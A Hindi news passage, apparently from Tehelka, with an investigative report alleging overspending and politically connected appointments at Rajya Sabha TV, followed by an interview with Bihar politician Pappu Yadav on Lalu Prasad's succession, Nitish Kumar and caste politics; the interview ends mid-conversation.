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पत्रकारिता पर भारी निकटता

Rajysabha

क्या राज्यसभा टीवी सफेद हाथी में तब्दील होता जा है? देश के टैक्स जमा करनेवाले नागरिकों के फंड से चल रहे इस चैनल की कार्यप्रणाली पर कई तरह के सवाल इन दिनों उठाए जा रहे हैं. इसकी नियुक्ति को लेकर सबसे ज्यादा सवाल उठ रहे हैं. जब तमाम न्यूज चैनल मंदी के दौर से गुजर रहे है तब चैनल के सीईओ की नियुक्ति भी सवालों के घेरे में है.

राज्यसभा टीवी चैनल उच्च सदन की आवाज माना जाता है. इससे इसी तरह की परिपक्वता की भी उम्मीद की जाती है. हालांकि हकीकत में ऐसा कुछ होता नजर नहीं आ रहा. चार साल पहले जब इस चैनल को लॉन्च किया गया था तब एक बड़ी आबादी की उम्मीदें इसके प्रति जगी थीं. मगर हुआ इसके ठीक उलट, उम्मीदें गलत साबित हुईं. एक विशेषाधिकार प्राप्त चैनल में पेशेवर दक्षता को परे रखकर ‘बड़े घरों’ या फिर राजनीतिज्ञों से निकटतावाले लोगों की भर्ती की जा रही है. चैनल की ओर से अपनाई जा रही नियुक्ति प्रक्रिया पर दुख जताते हुए एक वरिष्ठ पेशेवर ने बताया, ‘यह एक ऐसी जगह बनती जा रही है जहां पत्रकारिता के ज्ञान को परे रख दिया जाता है, अगर आप ‘बड़े’ परिवार या किसी बड़े राजनीतिज्ञ की सिफारिश के साथ आए हैं.’ राजस्व पाने के लिए बिना कोई व्यापार मॉडल अपनाए राज्यसभा टीवी चैनल को 28.94 करोड़ रुपये के कम बजट के साथ 26 अगस्त 2011 को लॉन्च किया गया था. हालांकि इस पर 1700 करोड़ रुपये से ज्यादा का खर्च आया. चैनल को राज्यसभा वित्तीय मदद देती है इसलिए यह आसानी से समझा जा सकता है कि इसे चलाने के लिए किसके खून-पसीने की कमाई लगाई जा रही है.

गौर करनेवाली बात ये है कि ये सब अच्छी परिस्थितियों में नहीं हो रहा. ये तब हो रहा है जब भारत में टीवी चैनल खराब दौर से गुजर रहे हैं. पिछले एक साल में कई निजी न्यूज चैनल- पी-7, भास्कर न्यूज, जिया न्यूज आदि बंद हो चुके हैं, वहीं कुछ दूसरे चैनल अपने अस्तित्व को बनाए रखने के लिए जद्दोजहद कर रहे हैं. धन और संसाधनों की कमी इसके प्रमुख कारण हैं. दरअसल ये चैनल विज्ञापनों से राजस्व पाने में पूरी तरह से असफल साबित हुए हैं. हालांकि अगर राज्यसभा टीवी की बात करें तो इसे धन की कमी कभी नहीं हुई. इन स्थितियों में भी यह चैनल ऐसा राजस्व पैदा करने में असफल रहा जो इसके लिए उपयोगी रहा हो. ‘तहलका’ को मिली जानकारी के अनुसार, राज्यसभा टीवी के सालाना बजट की तुलना लोकसभा टीवी से की जाए तो यह 2014-15 में 69.28 करोड़ रुपये है. यह राशि लोकसभा टीवी के बजट से पांच गुनी ज्यादा है. वहीं दूरदर्शन के दूसरे चैनलों की बात करें तो इसके 19 चैनलों का सालाना बजट औसतन 20 करोड़ रुपये है. यह भी गौर किया जाना चाहिए कि जब उच्च सदन ने अपना चैनल शुरू करने का निर्णय लिया था तब लोकसभा टीवी चैनल शुरू होने के साथ लोकसभा की कार्यवाहियों का सीधा प्रसारण भी करने रहा था.

एक रिपोर्ट में नियंत्रक एवं महालेखा परीक्षक (कैग) ने स्पष्ट रूप से बताया था कि राज्यसभा टीवी के पास कोई रूपरेखा नहीं है. कैग ने राज्यसभा टीवी के औचित्य पर सवाल उठाते हुए इस बात पर ध्यान खींचा था कि राज्यसभा टीवी प्रबंधन पुरानी एचडी (हाई डेफिनिशन) तकनीक को वरीयता देता है, जबकि नवीनतम एचडी तकनीक की जरूरत है. कैग ने यह भी सुझाया था कि दो स्टूडियो की बजाय इस चैनल के लिए एक स्टूडियो होना चाहिए. अभी एक स्टूडियो का इस्तेमाल समाचार और दूसरे का प्रोग्रामिंग के लिए होता है. 2013-14 की कुछ मीडिया रिपोर्ट के अनुसार, लोकसभा टीवी सरकार और सार्वजनिक क्षेत्र की इकाइयों के विज्ञापन और जागरूकता के जरिए 13.98 करोड़ रुपये का राजस्व पैदा करता है. वहीं राज्यसभा टीवी चैनल के पास गिनाने को कुछ भी नहीं है. कैग की रिपोर्ट यह भी खुलासा करती है कि चैनल के पूरी तरह से कार्यात्मक होने के दौरान फरवरी 2012 तक इसके कार्यकारी निदेशक और कार्यकारी संपादकों ने टैक्सी से आने जाने पर 60 लाख रुपये खर्च किए थे.

सीईओ गुरदीप सिंह सप्पल ही नहीं राज्यसभा टीवी में 103 दूसरे पेशेवरों की नियुक्ति भी उचित मानदंडों को परे रख मोटी तनख्वाह पर की गई है

इसके अलावा राज्यसभा टीवी को एक सरकारी सहायता प्राप्त चैनल में पहले गैर नौकरशाह सीईओ की नियुक्ति करने का भी ‘गौरव’ प्राप्त है. सूत्रों से मिली जानकारी के अनुसार इस चैनल से जुड़ने से पहले वर्तमान सीईओ गुरदीप सिंह सप्पल का पत्रकारिता में अनुभव पांच साल से ज्यादा नहीं था. बीआईटीवी में उन्होंने दो साल तक काम किया. इसके अलावा एक साल वीडियो एडिटर के रूप में और एक साल एसोसिएट प्रोड्यूसर के तौर पर काम किया था. सप्पल ने दूरदर्शन के मार्केटिंग विभाग में भी चार महीने तक काम किया है. राज्यसभा सचिवालय की ओर से 10 अप्रैल 2012 को जारी एक ज्ञापन में बताया गया था कि सप्पल को तीन साल के अनुबंध पर 1,75,000 रुपये की तनख्वाह पर नियुक्ति किया गया है. मजे की बात ये है कि लोकसभा टीवी के प्रमुख की तनख्वाह 1.5 लाख रुपये ही है. सप्पल को जिस राशि पर अनुबंधित किया गया था सामान्य तौर पर किसी संयुक्त सचिव को इतना दिया जाता है. इतना ही नहीं सप्पल की तनख्वाह समय-समय पर संशोधित भी की जाती रही. ‘तहलका’ को मिली उनकी सैलरी स््लिप की एक कॉपी के अनुसार नवंबर 2014 के लिए सप्पल को तनख्वाह के रूप में 2,22,250 रुपये मिले. इतना ही नहीं इस राशि पर सप्पल तीन अलग-अलग सरकारी भूमिकाओं को कार्यान्वित करते हैं. न तो वह भारतीय प्रशासनिक सेवा और न ही भारतीय सूचना सेवा से हैं. इसके बावजूद संयुक्त सचिव स्तर के अधिकारी होने के साथ वह राज्यसभा सभापति और उप राष्ट्रपति हामिद अंसारी के विशेष कार्य अधिकारी (ओएसडी- ऑफिसर ऑन स्पेशल ड्यूटी) हैं. आरटीआई के जरिये मांगी गई सूचना के अनुसार राज्यसभा टीवी चैनल के सीईओ पद की नौकरी के लिए कभी विज्ञापन नहीं जारी किया गया. इसके विपरीत लोकसभा टीवी के सीईओ की नौकरी के लिए प्रमुखता से विज्ञापन जारी हुए थे. कुछ वरिष्ठ कांग्रेसी नेताओं से निकटता का सप्पल ने खूब फायदा काटा.

सीईओ गुरदीप सिंह सप्पल दिल्ली पर्यटन और परिवहन विकास निगम के अध्यक्ष मनीष चतरथ को रिपोर्ट करते थे. कांग्रेस का वार रूम जब ‘15, रकाबगंज रोड’ पर हुआ करता था तब चतरथ दिल्ली की पूर्व मुख्यमंत्री शीला दीक्षित के करीबी सहयोगी माने जाते थे. यह वही समय था जब सप्पल ने कांग्रेसी नेताओं से नजदीकी बढ़ानी शुरू की थी. यह नजदीकी उन्हें यह पद दिलाने में मददगार साबित हुई. सप्पल का नाम तब सामने आया था जब राज्यसभा सचिवालय में संयुक्त सचिव स्तर और इसके ऊपर के अधिकारियों की नियुक्ति पर सवाल उठाते हुए एक जनहित याचिका दाखिल की गई थी. यह याचिका प्रख्यात अधिवक्ता प्रशांत भूषण ने दाखिल की थी. इसमें राज्यसभा सचिवालय के परिच्छेद 6 अ (नियुक्ति के तरीकों और योग्यता) की वैधता को चुनौती दी गई थी. उन्होंने 2008 से राज्यसभा सचिवालय में हुई सभी नियुक्तियों की जांच करने की आज्ञा देने की मांग की थी.

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विश्वस्त सूत्रों के अनुसार केवल सप्पल ही नहीं राज्यसभा टीवी में 103 पेशेवरों की नियुक्ति भी उचित मानदंडों को परे रख मोटी तनख्वाह पर की गई है. उदाहरण के तौर पर देखें तो सीईओ के सहायक निदेशक चेतन संजन दत्ता एक बैंक क्लर्क हैं और सेंट्रल बैंक ऑफ इंडिया से प्रतिनियुक्ति पर आए हैं. दत्ता को सप्पल का दायां हाथ माना जाता है. सभी फाइलें उनकी टेबल से होकर ही गुजरती हैं. लाभ पानेवाले दूसरे अधिकारी अनिल जी. नायर हैं, जो चैनल के कार्यकारी संपादक (न्यू मीडिया) हैं. वह सप्पल के नजदीकी दोस्त के रूप में जाने जाते हैं. एक वरिष्ठ कांग्रेसी नेता से नजदीकी की वजह से चर्चा में रहीं अमृता राय की एंकर के रूप में नियुक्ति भी पद के लिए जरूरी अनुभव के बिना की गई थी.

इसी तरह से चैनल के कार्यकारी संपादक राजेश बादल की नियुक्ति भी कांग्रेस अध्यक्ष सोनिया गांधी के राजनीतिक सचिव अहमद पटेल की सिफारिश के बाद हुई. राज्यसभा सांसद सत्यव्रत चतुर्वेदी की बेटी निधि चतुर्वेदी की नियुक्ति को लेकर भी नाराजगी है. 80 हजार रुपये की तनख्वाह पर निधि को सलाहकार बनाया गया है. सूत्रों ने बताया कि पूर्व मुख्यमंत्री शीला दीक्षित के रिश्तेदार विनीत के. दीक्षित भी सलाहकार पद पर कार्यरत हैं. सप्पल के करीबी दोस्त गिरीश निकम की पक्षपातपूर्ण नियुक्ति भी सवालों के घेरे में है. निकम उन विशेषाधिकार प्राप्त सलाहकारों में से हैं, जिनकी ऑफिस में उपस्थिति जरूरी नहीं. यह रिपोर्ट प्रकाशित होने से पहले ‘तहलका’ राज्यसभा टीवी के सीईओ गुरदीप सिंह सप्पल से उनका पक्ष जानने की कोशिश कई बार की लेकिन उनसे संपर्क नहीं हो सका.

‘डेमोक्रेसी में जनता तय करेगी विरासत, हम और आप नहीं’

Pappu Yadav by Shailendra 5

आप इतने भटकाव-बिखराव के साथ आंदोलन चलाते हैं. कभी कोई आंदोलन चलाते हैं और फिर उसे बीच में रोककर दूसरे में लग जाते हैं?

लड़ना पड़ेगा. हम तो सबसे पहले नेताओं से ही लड़ रहे हैं. हमने तय किया है कि इनसे लड़े बिना कुछ नहीं कर सकते.

राजनीतिज्ञों से या राजनीतिक प्रवृत्तियों सेे?

राजनीतिज्ञों से. सबकी प्रवृत्ति एक जैसी है. एनटी रामाराव, एमजी रामचंद्रन, नेहरू से लेकर मायावती को भी देख लिया गया. एक महीना में अरविंद केजरीवाल और नरेंद्र मोदी तक को देख लिया गया. इन दो जादूगरों को अब भी देख ही रहे हैं. सबकी प्रवृत्ति एक जैसी है.

राजनीतिज्ञों से लड़िएगा और सिस्टम यही रहेगा तो बदलाव क्या होगा?

पॉलिटिकल सिस्टम को बनाता कौन है? पॉलिटिशियन न! दलाल को पैदा कौन किया? पदाधिकारी को रावण कौन बनाया? इस सारे सिस्टम की कमान किसके हाथ में है? सब पॉलिटिशियन के हाथों में है. हिंदू-मुसलमान करानेवाला कौन है? जाति का जहर फैलानेवाला कौन? गरीब अमीर के मसले को डाइलूट कर देनेवाला कौन? राजनीतिज्ञों से लड़ने के साथ ही हम वैचारिक बदलाव की लड़ाई लड़ना चाहते हैं. हां लेकिन पूरा रास्ता अहिंसात्मक रखेंगे. हिंसा के रास्ते से तो कुछ नहीं बदलेगा. नक्सलियों का देख लिया कि उन्होंने क्या किया.

लेकिन बड़े बदलाव तो राजनीति करती है. आप तो सामाजिक आंदोलन जैसी कोई बात कर रहे हैं?

यह राजनीति है किसके लिए. तंत्र लोक के लिए न. लेकिन अब तो तंत्र ही मालिक बन गया है. एक मुख्यमंत्री को इतनी ताकत होती है जितनी भगवान को नहीं होती. लेकिन क्या कारण है कि अब तक किस सीएम ने बदलाव की कोशिश नहीं की बिहार में. अब देखिए देश में भी. प्रधानमंत्री ‘मन की बात’ कर रहा है. यह तो विचित्र बात है. मन की बात तो गरीब और विवश आदमी करता है न. पीएम किसानों से मन की बात कर रहे हैं लेकिन 60 हजार करोड़ रुपये अदानी-अंबानी को सब्सिडी देने के लिए तो मन की बात नहीं कर रहे हैं.

कुछ दिनों पहले तो आप मोदी की तारीफ कर रहे थे तब आपकी आलोचना हुई थी?

भइया मैं किसी की तारीफ नहीं कर रहा था. मुझसे ज्यादा मेरी प्रोसिडिंग उठाकर देख लीजिए. हां, लेकिन वह सशक्त आदमी तो हैं, इससे कैैसे इंकार कर सकते हैं. व्यवहार में, देखने-दिखाने में. अपने कामों को परोसने में. उसने अपनी मार्केटिंग तो की. डायनेमिक तो है वह. इसकी कोशिश तो कर रहा है. मैंने यह बात कही थी. लेकिन मैं दूसरी बात कहना चाहता हूं. अब आज के समय में सभी नेताओं की कोशिश से इंसान का ही अस्तित्व खत्म करने की तैयारी है. आजादी के 67 सालों बाद फूड बिल आ रहा है, खाना देने के लिए, पानी पीने को नहीं है. जिस देश में स्वास्थ्य जरूरी नहीं है. लोहिया ने कहा था, ‘राजा हो या भंगी की संतान-सबकी शिक्षा एक समान.’ सब तो धरा का धरा रह गया.

‘लालूजी के बेटे ने राजद का ककहरा नहीं जाना है. राहुल 15 सालों से संघर्ष कर रहे हैं. अखिलेश ने सात साल संघर्ष किया, मायावती की लाठियां खाई. उन्हें सीखने दें लालूजी’

लोहिया की बातों को लोहियावादियों ने भी ताक पर रखा?

सभी विचाराधाराओं को उन्हें माननेवालों ने रख दिया. वैसा ही हुआ है, छोड़िए न पुरानी बात. हाल में तो अन्ना आंदोलन का जोर रहा था. आंदोलन के बाद नौ प्रतिशत भ्रष्टाचार बढ़ गया. आंदोलन में गरीब तो जुटे नहीं, बेईमान जुट गए. वकील, डॉक्टर, मास्टर, नेता, नौजवान सब बोले कि ‘मैं भी अन्ना.’ जेठमलानी वकील हैं. दो करोड़ रुपये लेकर कहने लगे कि आसाराम पर केस करनेवाली महिला को हिस्टिरिया है. छी-छी… जेठमलानी. गरीब का घर जब तक बिक न जाए, तब तक वकील लोग केस चलाते हैं. वह भी कहने लगा कि हम भी अन्ना. 44 प्रतिशत गरीबी सिर्फ डॉक्टरों की वजह से है. अमन और इंसानियत ही सबसे बड़े डॉक्टर हैं. डॉक्टर भी कहने लगा था कि वह भी अन्ना. रात में दो बजे तक व्हाटस ऐप और फेसबुक से फुर्सत न लेनेवाला नौजवान भी कहने लगा था कि मैं भी अन्ना.

आपने डॉक्टरों के बारे में आंकड़े बताए. उनके कुकर्मों के खिलाफ लड़ाई शुरू की लेकिन एक मुकाम तक पहुंचने के बाद उसमें ढील दे दी?

कहां छोड़ दिया. हम लगातार जनसंवाद के माध्यम से यह मामला उठा रहे हैं. कहां छोड़ दिया. छोड़ने का सवाल ही नहीं. सदन में रोज मामला उठा रहा हूं. डेमोक्रेटिक फ्रंट पर ही उठाऊंगा न! मैं बता रहा हूं लोगांे को कि डॉक्टर पैसे के लालच में 62 प्रतिशत मामलों में घुटने बदल देते हैं. 53 प्रतिशत मरीजों को डॉक्टरों ने फर्जी तरीके से कैंसर रोगी बनाया. 67 प्रतिशत लोगों की किडनी पैसे के लिए बदली गई. ये सब मैं अपने मन से नहीं कह रहा. भारत के संदर्भ में जापान और अमेरिका का सर्वे है. 78 प्रतिशत को सुई नहीं दी जानी चाहिए लेकिन फिर भी दी जाती है. 85 प्रतिशत बगैर सर्जरी के डिलिवरी नहीं हो रही. यह भी एक खेल है. एक की जगह नौ दवाई लिखते हैं. आईसीयू में जबरदस्ती ले जाते हैं. ये सब तो हर सभा में बताता हूं. लोगों को भी जागरूक होना होगा.

ठीक है आप इन बातों को जनसंवाद में उठा रहे हैं. आपका जो ये जनसंवाद है, उसका मूल मकसद क्या है?

आम जनों को जानना. उनसे पूछना. उनको बताना कि 67 सालों बाद पॉलिटिशयन कहां हैं और आप कहां हैं. और ये देश कहां है. आपका राज्य कहां है?

आपके इस जनसंवाद में लालूजी की तस्वीर रहती है?

मैं दल में हूं इसलिए है.

लेकिन राजद की तस्वीरों में तो राबड़ीजी की तस्वीर भी रहती है. आपके संवाद में तो लालूजी ही दिखते हैं सिर्फ!

नहीं, राबड़ी देवीजी की तस्वीर नहीं है.

क्यों?

राबड़ी देवीजी मेरे लिए मां की तरह हैं लेकिन तस्वीर नहीं लगाता. अब तो मंच पर लालूजी की तस्वीर भी नहीं दिखेगी, क्योंकि उनको चापलूसों ने कहना शुरू कर दिया है कि आपकी तस्वीर लगाकर पप्पू यादव घूम रहा है. लीजिए मंच से हटा दे रहे हैं.

आप चाहते क्या हैं?

ये बताना कि आपके नेता करना चाहते तो कुछ भी कर सकते थे, आपके लिए. एक सीएम चाहेगा तो क्या नहीं बदल जाएगा. हमको तीन महीना का समय दंे. हम एफिडेविट बनाकर देंगे कि अगर कुछ नहीं कर सके तो राजनीति नहीं करेंगे. अगर तीन महीने बाद दलाल और बिचौलिया सोच भी लें धरती पर आना तो जो नहीं सो. मैं राजनीति ही नहीं करूंगा. एक चपरासी और पंचायत सचिव पैसा  लेने की सोच भी ले तो राजनीति नहीं करूंगा. अधिकारी अगर आम आदमी को मालिक की तरह आदर न दे तो मैं छोड़ दूंगा. आम आदमी के टैक्स से ही हमको तनख्वाह मिलती है. अगर आम आदमी को ही सम्मान नहीं मिलेगा तो काहे की राजनीति. हम बेईमान हैं और हम ही बेईमानी करेंगे तो कैसे होगा.

‘जेठमलानी दो करोड़ रुपये लेकर कहने लगे कि आसाराम पर केस करनेवाली महिला को हिस्टिरिया है. छी-छी जेठमलानी. गरीब का घर बिक न जाए, तब तक वकील केस चलाते हैं’

बड़ा द्वंद्व है. दुविधा है. आप लालूजी की तस्वीर भी रखते हैं और उनके खिलाफ ही मोर्चा खोल रहे हैं?

लालूजी मेरे लिए आदरणीय हैं. कल को उनके साथ नहीं भी रहेंगे तो भी रहेंगे. विचारों के कारण. संस्कारों के कारण.

राजद के लोगों का साथ मिल रहा है?

नहीं, कहीं नहीं. कुछ लोग आते हैं, जो मेरे विचारों से सहमत हैं. जिनमें संघर्ष करने की क्षमता नहीं वे साथ नहीं आते. जो सरकार बनने की उम्मीद में आस लगाए हुए हैं, वे नहीं आते.

विरासत पर बात उठाई है. बेटा तो बेटी क्यों नहीं?

मैंने कहा कि बेटा-बेटी में फर्क नहीं. तीन लोग उनके घर में हंै तो फिर बेटी क्यों नहीं. अब लालूजी ने कहा कि कार्यकर्ताओं को टिकट नहीं. बड़ा गजब का बयान है उनका. हम तो जानना चाहते हैं कि क्या लालूजी परिवारवालों को टिकट देंगे, दलालों को टिकट देंगे तो कार्यकर्ताओं को क्यों नहीं. दलालों-चाटुकारों का टिकट क्यों नहीं काटते. परिवार के लिए क्यों नहीं काटते. अभी तो महाविलय हुआ है अभी से ही यह रंग.

Pappu Yadav with wife by Shailendra 2

 

लंबे समय बाद आपने बात उठाई, परिवार का प्रयोग तो वे पहले से करते रहे हैं?

भइया मेरे, वे क्या प्रयोग करते रहे हैं, उससे मतलब नहीं. आप देखिए कि रामलखन सिंह यादव की विरासत इन्हें मिल गई. चौधरी चरण सिंह की विरासत मुलायम सिंह को मिल गई. डेमोक्रेसी में जनता न विरासत तय करेगी. हम और आप तय नहीं कर सकते. जनता तय कर ले कि लालूजी के बेटे को आगे बढ़ाना है तो कौन रोक लेगा.

आप रहेंगे न साथ में?

मेरी शुभकामना है. लेकिन बात तो यह है न कि अभी लालूजी के बेटे ने राजद का ककहरा नहीं जाना है. राहुल गांधी 15 सालों से संघर्ष कर रहे हैं. अखिलेश ने सात साल संघर्ष किया. मायावती की लाठियां खाई. उन्हें सीखने दें लालूजी. विरासत के बारे में पप्पू यादव कैसे बोलेगा कि उनका बेटा जनता की रहनुमाई करनेवाला विरासत संभालेगा. दुनिया में किसी के मुंह से सुना क्या. क्या नेहरूजी ने कहा. यह लालूजी पहले आदमी हैं जो इस तरह विरासत पर बोले. ये तो विचित्र बात है.

लालूजी ने पप्पू यादव की ओर इशारा करके तो नहीं कही विरासतवाली बात?

पता नहीं उन्हें किसने सलाह दी. मैं तो सबसे ज्यादा उनका आदर करता रहा हूं.

लेकिन उनको लगता है कि पप्पू यादव तो बहकता रहता है. कभी निर्दलीय, कभी सपा से तो कभी किसी दल से. आप अलग-अलग रास्ता अपनाते रहते हैं और अब कोसी छोड़ बिहार घूम रहे हैं तो चुनौती दिखी होगी?

इंिडयन डेमोक्रेटिक फेडरल पार्टी बनाई. सपा का अध्यक्ष रहा. जनता दल में संसदीय बोर्ड में मेंबर बना. मैं तो बचपन से ये सब करता रहा हूं. 1987 से मैं ऐसा करता रहा हूं.

क्यों. आपने इतने ठांव क्यों बदले. इतने बेचैन क्यों?

जहां मुझे संतुष्टि नहीं मिलेगी, वहां क्यों रहूंगा. मैं 90 के दशक से राजनीति में हूं. जहां जनता के पक्ष में बात नहीं होगी, वहां रहकर क्या करूंगा. पूंजीपतियों ने मिलकर इसमें से 12 साल तो मुझे जेल में डलवा दिया. 12 साल तीन महीने के बाद मैं आया. कोसी ही क्यों उनकी लहर को रोक देता है. क्यों मोदी का जादू कोसी में नहीं चलता. क्यों पति-पत्नी दोनों जीत जाते हैं. इन 12 सालों में किसी का उदय हो जाना चाहिए था. लालूजी के पुत्र का उदय हो जाना चाहिए था. मुझे ही संसद में बोलने का श्रेय मिलता है. इस दौरान मुझे मीडिया से लेकर सबने ऐसे पेश किया जैसे मैं बड़ा विलेन हूं लेकिन जनता ने तो मेरा साथ दिया. मैं बिहार के संपन्न किसान परिवार से हूं. मेरे दादा कोर्ट के ज्यूरी हुआ करते थे. मेरे परिवार ने अंग्रेजों के खिलाफ लड़ाई लड़ी. मेेरे पिता ने दो बार एमपी का चुनाव लड़ा, और एक बार एमएलए का. मेरे पिता आध्यात्मिक आदमी हैं. मुझे क्या जरूरत थी, क्या कमी थी कि मैं विलेन हो गया. मैं तो फौज में जाना चाहता था. मुझे देखकर मेरी मां गाती थी, ‘तुझे सूरज कहूं या चंदा.’ दादा कहता था कि बड़ा पहलवान बनेगा. लेकिन कुछ लोगों ने मिलकर पप्पू यादव को खलनायक की तरह पेश किया.

फिर किसने यह छवि बनाई? बाहुबली पप्पू यादव को ही बिहार और देश जानता है?

मुट्ठी-भर लोगों ने, जिन्हें लगा कि मैं उनके लिए चुनौती हूं. पदाधिकारियों ने. जनता के दुश्मनों ने.

राजनीति में पिताजी से सीखकर आए?

नहीं, दादा की वजह से ही  हमारा परिवार राजनीति में है. हमारे दादा कोर्ट के ज्यूरी हुआ करते थे उससे पहले मुखिया भी रहे. मैं अमेरिका पढ़ने जा रहा था. जिला स्कूल और आनंदमार्गी स्कूल का टॉपर था. कहां पप्पू यादव बाहुबली था. ऊंचे सपने थे. वह तो सामाजिक जरूरतों ने ढकेल दिया मुझे भी राजनीति में लेकिन यहां आकर पाया कि राजनीतिक लोग सबसे ज्यादा दुष्चरित्र, बेईमान, लुटेरे हैं, गंदे हैं.

आप कभी राजनेता की तरह बात कर रहे हैं कभी सामाजिक सुधारकर्ता की तरह?

हां, मैं खुद से लड़ता हूं. राजनीति का पक्ष भारी पड़ता है कभी, तो कभी दूसरा पक्ष.

आप 90 के दशक में राजनीति में आए. उसी समय सामाजिक न्याय की राजनीति शुरू हुई. लालू- नीतीश का भी युग रहा ये. ऐसे बिहार की राजनीति में इन 25 सालों के सफर को कैसे देखते हैं?

कर्पूरी ठाकुर, चंद्रशेखरजी, मधु लिमये, देवीलाल, लालू यादव, शरद यादव, नीतीश कुमार, रामविलास पासवान, भूपेंद्र नारायण मंडल, जगदेव बाबू जैसे कई लोगों ने इसमें जोर लगाया. जगदेव बाबू को यहीं लाठी से मारा गया. कर्पूरी अपमानित हुए. सामाजिक न्याय की लड़ाई का दौर लंबे समय से चल रहा था. नब्बे के दशक में एक सरकार बनी. यह कहिए. इसके पहले भी सामाजिक न्याय की सरकार बनी थी. 90 की सरकार के बाद राजनीतिक और सामाजिक जागरूकता बढ़ी. प्रत्येक क्रिया के विपरित प्रतिक्रिया शुरू हुई. इन स्थितियों में लालूजी को मौका मिला. लीडरशिप उनका था तो लालूजी का नाम हुआ. लेकिन बिहार की समस्या का समाधान नहीं हुआ. आर्थिक व शैक्षणिक सुधार तो नहीं हुआ. कोई समाधान तो नहीं मिला इस दिशा में. बिहार को न्याय और विकास तो नहीं मिला. बिहार राजनीति की उर्वर भूमि बना रहा. 8400 गांव हैं, लेकिन तकरीबन 5600 गांवों में आज भी स्कूल नहीं हैं. सिर्फ 18 लाख नौजवान बीए में पढ़ते हैं. आज तक मात्र नौ हजार बेटियां तकनीकी शिक्षा ले सकी हैं. हम अपनी विरासत को नहीं संभाल सके. शासन और ज्ञान की परंपरा को आगे नहीं बढ़ा सके इन सालों में. बिहार के पास एक लंबी परंपरा है. कर्ण की नगरी यहीं है. सीता, आर्यभट्ट,  अशोक, शेरशाह सूरी से लेकर विद्यापति, भिखारी ठाकुर, बाबू कुंवर सिंह, मंडन मिश्र यहीं के हैं. ऐसी परंपरा रही लेकिन हम उसे आगे नहीं बढ़ा सके.

‘लालूजी ने गरीब के मर्म को समझा. तब सोशल मीडिया नहीं था लेकिन अब दो मिनट में दुनिया बदलने की हड़बड़ी है. लालूजी यह नहीं समझ पा रहे हैं. जनता उकताई हुई है’

आप ये कह रहे हैं कि सामाजिक न्याय की राजनीति और सत्ता के 25 सालों में सिर्फ जागरूकता फैलाने का काम हुआ?

नहीं, जाति का जहर भी फैलाया गया और उससे अपना मकसद साधा गया.

लालू और नीतीश में क्या फर्क देखते हैं. दोनों ने इन 25 सालों में राज किया?

लालूजी ने निश्चित रूप से गरीब की भाषा और मर्म को समझा. तब सोशल मीडिया नहीं था. लेकिन अब समय बदल गया. अब दो मिनट में दुनिया बदलने की हड़बड़ी है. लालूजी यह नहीं समझ पा रहे हैं. जनता उकताई हुई है. मोदी को लाती है उसी उम्मीद में. मोदी जी गिर जाते हैं. लालू के उलट नीतीश कुमार जी दूसरी राह पर चले. ब्यूरोक्रेसी को हावी कर दिया. लालूजी के राज में ब्यूरोक्रेसी के मन में डर था. पैसा लेता था तो काम भी करता था. जनता को आंख नहीं दिखाता था लेकिन नीतीश के राज में उलटा हुआ. लालूजी के राज में भी उन्हीं लोगों ने लूटा जो नीतीश कुमार के राज में लूटे या लूट रहे हैं. अफसोस ये होता है कि सामाजिक न्याय की राजनीति में बड़े वर्ग का साथ मिला, जिसका उपयोग न लालू कर सके, न नीतीश. अल्पसंख्यक, पिछड़े, दलित, अतिपिछड़ा, ऊंची जातियाें में राजपूतों की बड़ी आबादी सामाजिक न्याय के साथ रही लेकिन लालूजी संभाल नहीं पाए. लालूजी के राज में एक जाति को लगा कि उनका राज आ गया. वे बाहुबली बनने लगे. तब लोगों को लगा कि फर्क क्या है, पहलेवाले भी तो यही करते थे. तब नारा चला कि यादवों को खत्म करो. यादव गाली बने. फिर नीतीश कुमार के कंधे पर पिछड़ों को बांटा गया और राज किया गया. नीतीश कुमार भी घिर गए. छटपटाहट है उनमें कि इनको बदलो, उनको बदलो.

किसमें छटपटाहट है. सवर्णों में?

नहीं सवर्णों को नहीं कहूंगा. बिहार में कुछ 50 घराने हैं, जो सत्ता की सियासत को हमेशा साधने में लगे रहते हैं, वही ये सब खेल करते हैं.

आपने एक बात कही कि लालू उस समय आ गए. क्या आप ये कहना चाह रहे थे कि लालू सिर्फ परिस्थितियों की देन की वजह से नेता बने, स्वाभाविक नेता नहीं?

हां, इससे इंकार नहीं कि वे परिस्थितियों की देन की तरह आए नेता थे लेकिन ऐसा भी नहीं कह सकता  िक वे नेता नहीं थे. वे 1974 के आंदोलन में सक्रिय थे. वे नेता रहे हैं.

बिहार में अब तो जीतन राम मांझी एक अहम नेता हैं, क्या कहेंगे आप?

हां, वे एक अहम नेता हैं. वे जिस घर में जाएंगे वह एक मजबूत खेमा होगा. मुझे डर है कि कहीं झारखंडवाला हाल न हो जाए महाविलय पार्टी का.

क्या हुआ झारखंड में?

झारखंड में जनता दल यू और राजद की जमानत जब्त हो गई. हेमंत सोरेन का साथ छोड़े तो असर दिख गया. कीमत चुकानी पड़ी.

पप्पू यादव सीएम बनने की लड़ाई लड़ रहे हैं. आपने कहा भी कि आपको तीन माह दिए जाएं तो ऐसा कर देंगे, वैसा कर देंगे?

आपने पूछा तो कहा.

आपकी कोई बात नहीं मानी जा रही. महाविलय हो चुका है. मांझी अलग हैं. लालूजी अब बार-बार कह रहे हैं कि मेरा बेटा उत्तराधिकारी है. ज्यादातर आपको सुना रहे हैं.

उत्तराधिकारी तो अब नीतीश कुमार हो गए. अब  यह सवाल ही खत्म हो गया.

आपको तो कोई दिक्कत नहीं है न?

मुझे किसी से क्या दिक्कत है. लेकिन ये तो सब जानते हैं न कि आज अगर यादवों को जंगलराज का पर्याय माना जाता है, उनको गाली दी जाती है तो उसमें नीतीश की भूमिका सबसे ज्यादा रही है. उन्होंने यादवों के बारे में ऐसा प्रचारित करवाया. लेकिन ऐसा होता तो है नहीं. पप्पू यादव या लालू यादव खराब हैं तो इससे पूरे यादव समाज को गाली नहीं देनी चाहिए. लेकिन नीतीश कुमार ने तो ये करवाया था.

आप करेंगे क्या? लालूजी आपको किनारे कर चुके हैं. नीतीश ही उत्तराधिकारी बन गए. आपकी किसी बात काे महत्व नहीं दिया गया न. क्या अलग रास्ता अपनाएंगे?

अब यह जमात और वर्कर तय करेगा. मैं घूम रहा हूं. राजद के कार्यकर्ताओं से मिल रहा हूं.

आप महाविलय के बाद राजद और लालटेन को अपने पास रखना चाहेंगे?

ऐसा कुछ नहीं है. राजदवाले नेता और कार्यकर्ता चाहेंगे तो ऐसा होगा.

पत्नी और कांग्रेस सांसद रंजीत रंजन की भूमिका आपके कॅरियर में अहम रही है.

